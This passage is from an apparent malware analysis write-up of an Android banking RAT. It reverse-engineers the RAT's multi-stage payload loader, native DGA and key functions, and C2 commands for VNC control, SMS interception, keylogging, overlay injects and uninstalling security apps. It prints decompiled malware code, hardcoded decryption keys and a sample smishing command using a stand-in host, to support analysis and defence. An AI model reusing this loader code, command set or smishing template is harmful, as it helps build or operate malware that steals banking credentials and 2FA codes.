The service qezCJfF implements a NotificationListenerService, allowing the malware to read all notifications.
Cleartext Traffic Allowed:
The application sets android:usesCleartextTraffic="true", permitting unencrypted HTTP communications. This suggests the malware communicates with its c2 server without encryption, making data exfiltration easier but also more detectable through network analysis.
Hidden From Recents:
Most activities are marked with android:excludeFromRecents="true" and android:noHistory="true", preventing them from appearing in the recent apps list and making the malware’s activities less visible to users.
The APK spoofs its package name as com.vgsupervision_kit29. In reality, the main application class is ccg.wffpuwo.bxasqiwdz.kgtytvo, which doesn’t match the declared package name.
<application
    android:name="ccg.wffpuwo.bxasqiwdz.kgtytvo"
    package="com.vgsupervision_kit29"
    android:usesCleartextTraffic="true">
@Override
public String getPackageName() {
    return "com.vgsupervision_kit29";
}
Dynamic Payload Extraction and Injection
This package also implements several hook methods to allow runtime manipulation of the application context:
@Override
protected void attachBaseContext(Context context) {
    super.attachBaseContext(context);
    try {
        kowgdaxyhqlaka.fdmbivmeejsy(this);
        jrhmloqkemduyhd.hook(this, "com.vgsupervision_kit29.cosxo12G", "Lccg/wffpuwo/bxasqiwdz/kgtytvo;");
    } catch (IOException | IllegalAccessException | NoSuchFieldException | NoSuchMethodException | InvocationTargetException e) {
        throw new RuntimeException(e);
    }
}
Looking into kowgdaxyhqlaka.fdmbivmeejsy(), We can see that is is extracting a payload. attachBaseContext() reads an encrypted asset called zdvjwnqcaasmzzfa, decrypts and decompresses it into a DEX file, then injects it into the app’s classloader on the fly.
public static void fdmbivmeejsy(Application application) ... {
    // 1. Read encrypted asset from assets folder
    byte[] arvtyxwfu = usviqzolub.arvtyxwfu(application.getAssets().open("zdvjwnqcaasmzzfa"));
    
    // 2. Write decrypted data to temporary file
    File file = new File(application.getCacheDir(), lllJ1II(203));
    usviqzolub.utwwluvwstm(file, arvtyxwfu);
    
    // 3. Extract the archive
    hhiedrmsr.hcjpe(file, application.getCacheDir());
    file.delete();
    
    // 4. Create private directory for the DEX file
    File dir = application.getDir(lllJ1II(252), 0);
    ArrayList arrayList = new ArrayList();
    List<File> yrdopvgftgg = usviqzolub.yrdopvgftgg(application.getCacheDir(), lllJ1II(303));
    
    // 5. Decrypt DEX file
    for (File file2 : yrdopvgftgg) {
        File file3 = new File(dir, file2.getName());
        gegchproi.decrypt(file2, file3);
        setOnlyRead(file3);
        arrayList.add(file3);
    }
    
    // 6. Inject the DEX file into application classloader
    bzqmerzfoipi(application, arrayList, dir);
    
    // 7. Remove the temporary file
    usviqzolub.ymofnxzfx(dir);
}
This file also uses the same extraction logic as miqfjvzbvnkjrgvk, using DES/ECB/PKCS5Padding with the key set to rqcejxta. Using the previous python script, we can decrypt and extract the next DEX.
Extracted DEX Analysis
This DEX contains part of the implementation of the com.vgsupervision_kit29 package.

In the static initializer block, the application loads a native library using an obfuscated string:
static {
    System.loadLibrary($(0, 6, 4296));  // decrypts to "cyqcXW"
}
The cosxo12G class declares three native methods implemented in libcyqcXW.so:
k1lkB3m2AW(Object obj, String str, int i)- Returns Stringqo3ZokZN(Object obj, String str)- Returns StringoriE5Pc7(Object obj)- Void return, called fromattachBaseContext()
The attachBaseContext() method is overridden to call the native method oriE5Pc7() with the application context:
@Override
protected void attachBaseContext(Context context) {
    super.attachBaseContext(context);
    oriE5Pc7(context);  // Native call with context
}
This early hook occurs before the application is fully initialized. Given that libcyqcXW.so contains another encrypted DEX file that will be loaded dynamically.
Native Library Analysis (libcyqcXW)
Java Entry Point:
static {
    System.loadLibrary($(0, 6, 4296)); // Loads "libcyqcXW" (obfuscated)
}
Key Functions:
Java_com_vgsupervision_1kit29_cosxo12G_oriE5Pc7- Initialization/setupJava_com_vgsupervision_1kit29_cosxo12G_k1lkB3m2AW- AES/Salt operationsJava_com_vgsupervision_1kit29_cosxo12G_qo3ZokZN- DGA operations
Initial Library Setup (oriE5Pc7)
The first JNI function oriE5Pc7 triggers the initialization sequence by invoking WrpClass::replace_loader(false). This function constructs multiple obfuscated strings on the stack using direct memory assignments rather than string literals, making static string extraction challenging. The constants are built piece by piece through builtin_strncpy operations and hexadecimal literals.
void WrpClass::replace_loader(WrpClass *this, bool param_1) {
    // Construct symbol name for dynamic loading
    builtin_strncpy(local_70, "replace_", 8);
    local_68 = 0x64616f6c;  // "load"
    local_64 = 0x7265;       // "er"
    local_62 = 0;            // Result: "replace_loader"
    
    // Construct package name
    builtin_strncpy(local_d0, "com.vgsupervisio", 0x10);
    builtin_strncpy(local_d0 + 0x10, "n_kit29", 8);
    // Result: "com.vgsupervision_kit29"
    
    // Construct resource path
    builtin_strncpy(local_100, "com.vgsupervision_kit29:raw/dmvp", 0x20);
    local_e0 = 0x63357169;  // Additional suffix
    
    // Construct cryptographic parameters
    local_60 = 0x52657a3151794a4e;  // Key material 1
    uStack_58 = 0x674b54564461566c;
    uStack_50 = 0x4c44767043374868;
    uStack_48 = 0x4677586661505079;
    
    local_90 = 0x3135346262623163;  // Key material 2
    uStack_88 = 0x3935396330663664;
    
    builtin_strncpy(local_b0, "d6f0c95980d05bfc", 0x11);  // Hash/identifier
}
The function first unpacks the embedded library, then checks the boolean parameter param_1 to determine whether to activate the secondary loader. When called with false, the function only performs the extraction without executing the loader.
uVar2 = unpack_dynlib(this);
if ((((uVar2 & 1) != 0) && (!param_1)) &&
    (pcVar3 = (code *)dlsym(*(undefined8 *)(this + 0x18), local_70), 
     pcVar3 != (code *)0x0)) {
    (*pcVar3)(*(undefined8 *)this,
              *(undefined8 *)(this + 8),
              local_d0,    // Package name
              local_100,   // Resource path
              &local_60,   // Key material 1
              &local_90,   // Key material 2
              local_b0);   // Hash/identifier
}
Embedded Payload Loading (unpack_dynlib)
The unpack_dynlib method implements the core extraction mechanism that retrieves an encrypted secondary DEX embedded within the original .so file. The function checks for the existence of a hidden file named .q in the application’s private directory, and if absent, proceeds to decrypt an embedded 347,752 byte payload using RC4 encryption.
char *WrpClass::unpack_dynlib() {
    // RC4 decryption key (hardcoded)
    char rc4_key[33] = "wdwNQ508SVDCcJ03jR6IcZB3teA4bI1Q";
    
    // Construct target path: /data/data/com.vgsupervision_kit29/app_files/.q
    char *lib_path = concat(get_private_dir_path(), "/.q");
    
    if (!file_exists(lib_path)) {
        // Decrypt embedded payload at offset 0x47361
        char *decrypted = RC4_decrypt(&DAT_00047361, 0x33928, rc4_key);
        write_so(lib_path, decrypted, 0x33928);
    }
    
    this->library_handle = dlopen(lib_path, RTLD_LAZY);
    return this->library_handle;
}
The decrypted library is written to .q with a leading dot to hide it from casual directory listings. The address &DAT_00047361 points to the start of the encrypted payload within the original library’s data section at file offset 0x1401FC.
Cryptographic Service Functions
The functions k1lkB3m2AW and qo3ZokZN are not called during initialization but serve as utility functions that other malware components invoke to retrieve cryptographic material and generate C2 domains. Both functions call replace_loader(true), which skips the loader execution due to the inverted boolean logic.
undefined8 Java_com_vgsupervision_1kit29_cosxo12G_k1lkB3m2AW(
    undefined8 param_1, undefined8 param_2, undefined8 param_3, 
    _jstring *param_4, int param_5) {
    
    WrpClass::replace_loader((WrpClass *)&local_68, true);
    
    if (param_5 == 1) {
        uVar2 = WrpClass::get_salt((WrpClass *)&local_68, param_4);
    } else if (param_5 == 0) {
        uVar2 = WrpClass::get_AES((WrpClass *)&local_68, param_4);
    }
    
    dlclose(local_50);
    return uVar2;
}
The k1lkB3m2AW function retrieves either AES keys (when param_5 == 0) or salt values (when param_5 == 1) from the unpacked .q library. Since replace_loader(true) prevents re-execution of loader_place, this call simply ensures the library is loaded and then queries the cryptographic functions.
undefined8 Java_com_vgsupervision_1kit29_cosxo12G_qo3ZokZN(
    undefined8 param_1, undefined8 param_2, undefined8 param_3, 
    _jstring *param_4) {
    
    WrpClass::replace_loader((WrpClass *)&local_58, true);
    uVar2 = WrpClass::get_DGA((WrpClass *)&local_58, param_4);
    dlclose(local_40);
    return uVar2;
}
The qo3ZokZN function implements the Domain Generation Algorithm (DGA) by calling get_DGA from the unpacked library. This allows the malware to generate pseudo-random domains for C2 communication based on seed values, enabling domain-flux techniques to evade blocklists.
In-Memory Payload Extraction
The static analysis revealed the malware’s multi-stage loading mechanism, but extracting the actual payloads required dynamic instrumentation to capture the decrypted DEX at runtime.
This script hooks dalvik.system.InMemoryDexClassLoader at process startup and attempts to extract the DEX payload from the ByteBuffer passed to the constructor.
/*
 * dump_dex.js - hooks InMemoryDexClassLoader and dumps DEX payload
 */
console.log("[*] DEX dumper started");
Java.perform(function() {
    console.log("[*] Hooking InMemoryDexClassLoader...");
    const InMemoryDexClassLoader = Java.use("dalvik.system.InMemoryDexClassLoader");
    InMemoryDexClassLoader.$init.overload('java.nio.ByteBuffer', 'java.lang.ClassLoader').implementation = function(dexBuffer, classLoader) {
        console.log("[!] Hook triggered - capturing DEX payload");
        dexBuffer.rewind();
        const bytes = Java.array('byte', new Array(dexBuffer.remaining()).fill(0));
        dexBuffer.get(bytes);
        
        const tmpDir = Java.use("java.lang.System").getProperty("java.io.tmpdir");
        const dumpPath = tmpDir + "/final_payload.dex";
        
        console.log(`[*] Dumping ${bytes.length} bytes to: ${dumpPath}`);
        
        const File = Java.use("java.io.File");
        const FileOutputStream = Java.use("java.io.FileOutputStream");
        const file = File.$new(dumpPath);
        const fos = FileOutputStream.$new(file);
        fos.write(bytes);
        fos.close();
        
        console.log("[+] Dump complete");
        console.log(`[+] Retrieve with: adb pull ${dumpPath} .`);
        dexBuffer.rewind();
        return this.$init(dexBuffer, classLoader);
    };
});
frida -f com.vgsupervision_kit29 -l dump_dex.js
After resuming the process, the hook executed when InMemoryDexClassLoader was constructed with a ByteBuffer. The script copied the buffer contents to a byte array, wrote those bytes to java.io.tmpdir + “/final_payload.dex”, and then invoked the original constructor.
file final_payload.dex            
final_payload.dex: Dalvik dex file version 035
Success! This verified that we successfully captured the encrypted DEX payload!
Malware Configuration Analysis
With all payload stages extracted, an examination of the application’s shared preferences revealed the active malware configuration and operational state stored in shared preferences /data/data/com.vgsupervision_kit29/shared_prefs/main.xml.
C2 Infrastructure
The malware implements an advanced C2 communication system with command queueing and execution timing controls. The configuration contained an active C2 domain generated by the DGA algorithm:
<string name="s6">s:hxxps://***bt01tug8***oe****44a4.com</string>
Operational State Indicators
Additional configuration values revealed the malware’s current operational state:
- Bot State: 
<string name="s28">s:SLEEP</string>- indicating dormant C2 communications - Service Identifier: 
<string name="s7">s:acsb</string>- internal module designation for accessibility - Device Fingerprint Hash: 
<string name="s13">s:5k2itzv955hysyddg9k3ejoepe8hckh5</string> - Installed Package List: A pipe-delimited list of all installed packages on the device
 
C2 Capabilities
Device Administration Control
Command Context: Device policy management and admin privilege escalation
The malware attempts to gain device administrator privileges through multiple vectors:
private void m282try(Context context) {
    DevicePolicyManager devicePolicyManager = (DevicePolicyManager) getSystemService("device_policy");
    ComponentName componentName = new ComponentName(context, (Class<?>) hhA8n9MIP.class);
    if (devicePolicyManager.isAdminActive(componentName)) {
        devicePolicyManager.removeActiveAdmin(componentName);
        Cnew.m355new(context, "i21", "intent to disable device admin", 2);
    }
}
The malware can both activate and deactivate device admin privileges, suggesting it uses this for persistence and to avoid detection when needed. It also checks for active device administrators before attempting uninstallation of security apps.
Accessibility Service Abuse
Command Context: ask_acsb command for accessibility service activation
if (ctry.m409goto("ask_acsb")) {
    Cswitch cswitch = this.f129new;
    Boolean bool = Boolean.FALSE;
    cswitch.m136final("b21", bool);
    this.f129new.m136final("b5", bool);
    this.f129new.m142throw("l12", 0L);
    this.f129new.m136final("b6", Boolean.TRUE);
    m271break();
    return;
}
This resets various boolean flags and triggers accessibility service activation, similar to the complex gesture functionality seen in Crocodilus malware.
VNC Remote Control
Commands: vnc_start, vnc_stop, vnc_update
if (ctry.m409goto("vnc_start")) {
    Ctransient.m152import(this.f128for, (String) ctry.f1037ifdf.get(0));
    Cnew.m354for(this.f128for, this.f129new.m137for("i14", -1).intValue(), "VNC started", 2);
    Cfinal.ifdf(5);
} else if (ctry.m409goto("vnc_stop")) {
    Ctransient.m153native(this.f128for);
    Cnew.m354for(this.f128for, this.f129new.m137for("i16", -1).intValue(), "VNC stopped", 2);
    Cfinal.ifdf(5);
} else if (ctry.m409goto("vnc_update")) {
    Ctransient.m155public(this.f128for, (String) ctry.f1037ifdf.get(0));
    Cnew.m354for(this.f128for, this.f129new.m137for("i15", -1).intValue(), "VNC updated", 2);
    Cfinal.ifdf(5);
}
The malware implements full VNC (Virtual Network Computing) capabilities, allowing remote attackers to view and control the infected device’s screen in real-time.
SMS Interception Control
Commands: sms_intercept_on, sms_intercept_off
if (ctry.m409goto("sms_intercept_on")) {
    if (Ccase.apkdfmhpadmfhpadomfhgpewirh(this.f128for)) {
        return;
    }
    String m215continue = Ccase.m215continue(this.f128for);
    if (!m215continue.isEmpty() && !m215continue.equals(this.f128for.getPackageName())) {
        this.f129new.m144while("s10", m215continue);
    }
    Context context = this.f128for;
    Ccase.k(context, context.getPackageName());
    // Additional SMS interception logic...
}
This functionality allows the malware to intercept SMS messages, likely for stealing 2FA codes and other sensitive information sent via text.
Security Application Uninstallation
Function: m283class - Targeted app removal
public void m283class(Context context, String str) {
    String[] split = str.split(",");
    HashSet hashSet = new HashSet();
    List<ComponentName> activeAdmins = ((DevicePolicyManager) context.getSystemService("device_policy")).getActiveAdmins();
    
    for (String str2 : split) {
        String trim = str2.trim();
        if (!trim.isEmpty()) {
            if (Ccase.jghkmjpdokgmhsdghkmdg(context, trim, hashSet)) {
                Ccase.w(context, trim);
                this.f129new.m144while("s4", "confirm_uninstall");
                this.f129new.m144while("s5", trim);
                return;
            }
        }
    }
}
The malware can receive a comma separated list of package names to uninstall, particularly targeting security applications and antivirus software.
Permission and Security Bypass
Commands: get_overlay_perm, get_write_settings, disable_battery, enable_autostart
if (ctry.m409goto("get_overlay_perm")) {
    if (!this.f129new.m138goto("b_MOD_BLACKSCREEN", true) || Ccase.dfhaefdhadfhdfherh(this.f128for) || Settings.canDrawOverlays(this.f128for)) {
        return;
    }
    Intent intent5 = new Intent("android.settings.action.MANAGE_OVERLAY_PERMISSION");
    intent5.setData(Uri.parse("package:" + this.f128for.getPackageName()));
    intent5.setFlags(268435456);
    this.f128for.startActivity(intent5);
}
The malware systematically requests dangerous permissions including overlay permissions (for screen recording/keylogging), write settings access, and battery optimization exemptions.
Keylogger Activation
Command: keylogger_start
if (ctry.m409goto("keylogger_start")) {
    this.f129new.m136final("b10", Boolean.TRUE);
    return;
}
Simple boolean flag activation for keylogging functionality, likely implemented through accessibility services.
Injection Attacks
Command: activate_injects
if (ctry.m409goto("activate_injects")) {
    this.f129new.m136final("b9", Boolean.TRUE);
    return;
}
Activates web injection capabilities, commonly used to overlay fake login forms on legitimate banking and financial applications.
Persistence and Evasion Techniques
Foreground Service Manipulation
The malware uses foreground service status to maintain persistence and avoid being killed by the Android system:
private void m271break() {
    msKGRq.fddo(this.f128for, this);
    msKGRq.m353for(this.f128for);
    f125goto = true;
    this.f129new.m136final("b13", Boolean.TRUE);
}
private void m273catch() {
    this.f129new.m136final("b13", Boolean.FALSE);
    this.f129new.m134const();
    stopForeground(true);
    f125goto = false;
}
Battery Optimization Bypass
The malware attempts to exempt itself from battery optimization to maintain background execution:
private void m279new() {
    if (Ccase.spkfgmhapoemghapfgmhadgkmhpda(this.f128for)) {
        return;
    }
    Intent intent = new Intent("android.settings.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS");
    intent.setData(Uri.parse("package:" + this.f128for.getPackageName()));
    intent.setFlags(268435456);
    this.f128for.startActivity(intent);
}
Core C2 Commands (Direct Execution)
These are the fundamental commands executed directly by the hAuJlXq service:
| Command | Description | 
|---|---|
ask_acsb | 
Forces accessibility service activation and resets various security flags | 
keylogger_start | 
Activates keylogging functionality through accessibility services | 
activate_injects | 
Enables web injection attacks for overlay fraud on banking apps | 
get_device_admin | 
Requests device administrator privileges for persistence and control | 
disable_gp | 
Disables Google Play Protect and other security services | 
disable_battery | 
Bypasses battery optimization to maintain background execution | 
enable_autostart | 
Configures autostart permissions on various Android OEMs (Xiaomi, Oppo, Vivo) | 
get_write_settings | 
Requests system settings modification permissions | 
get_overlay_perm | 
Requests screen overlay permissions for UI manipulation and screen recording | 
get_sms_perm | 
Requests SMS permissions for message interception | 
get_push_admin | 
Requests notification listener permissions for message stealing | 
sms_intercept_on | 
Activates SMS interception and sets the malware as default SMS app | 
sms_intercept_off | 
Deactivates SMS interception and restores previous default SMS app | 
vnc_start | 
Initiates VNC remote desktop session with specified parameters | 
vnc_stop | 
Terminates active VNC remote desktop session | 
vnc_update | 
Updates VNC connection parameters or configuration | 
Task-Level Commands (Batch Operations)
These high level task commands are processed by the Cnew class and translated into core commands:
| Task Command | Maps to Core Command | Description | 
|---|---|---|
acsb_task | 
ask_acsb | 
Request accessibility service activation | 
disable_gp_task | 
disable_gp | 
Disable Google Play Protect security | 
keylogger_task | 
keylogger_start | 
Start keylogging functionality | 
injects_task | 
activate_injects | 
Enable web injection attacks | 
disable_battery_task | 
disable_battery | 
Bypass battery optimization | 
get_device_admin_task | 
get_device_admin | 
Request device administrator privileges | 
enable_autostart_task | 
enable_autostart | 
Configure manufacturer autostart permissions | 
get_write_settings_task | 
get_write_settings | 
Request system settings modification | 
get_overlay_perm_task | 
get_overlay_perm | 
Request screen overlay permissions | 
get_push_admin_task | 
get_push_admin | 
Request notification listener access | 
get_sms_perm_task | 
get_sms_perm | 
Request SMS permissions | 
UI Automation Commands
Commands for remote UI manipulation through accessibility services:
| Command | Description | 
|---|---|
click_by_id | 
Click UI element by Android resource ID | 
click_by_text | 
Click UI element containing specific text | 
click_by_bounds | 
Click at specific screen coordinates | 
click_by_class | 
Click UI element by class name | 
acsb_debug_screen | 
Enable accessibility debugging screen | 
az_test_command | 
Execute test command for debugging | 
common_test | 
Execute common test functionality | 
action_[action_name] | 
Execute specific accessibility action | 
Specialized Operation Commands
Additional commands for specific malicious operations:
| Command | Description | 
|---|---|
send_sms|number|message | 
Send SMS to specific number or contacts | 
send_ussd|code | 
Execute USSD code (banking/carrier commands) | 
start_app|package | 
Launch specific application | 
uninstall_apps|package_list | 
Queue applications for uninstallation | 
start_inject|url | 
Enable injection for specific URL/app | 
stop_inject|url | 
Disable injection for specific URL/app | 
show_url|url | 
Display webpage in fullscreen overlay | 
lock_device | 
Lock device and start foreground service | 
unlock_device | 
Unlock device and disable security features | 
set_bot_mode|mode | 
Configure bot operational mode | 
start_syslog|channels | 
Start system logging with specified channels | 
stop_syslog | 
Stop system logging | 
push_notification|title|text|action | 
Display fake push notification | 
Command Format Examples
Batch Task Command:
123|acsb_task,keylogger_task,injects_task
VNC with Parameters:
vnc_start|WS_PORT:8080|BLACKSCREEN|DONOTDISTURB
SMS Command:
send_sms|contacts|Hello %NAME%, click this link: http://evil.com
UI Automation:
click_by_text|Login Button
Application Control:
uninstall_apps|com.antivirus.app,com.security.scanner
This command set shows the extensive remote control capabilities of this Android RAT, covering device administration, UI manipulation, and communication interception techniques.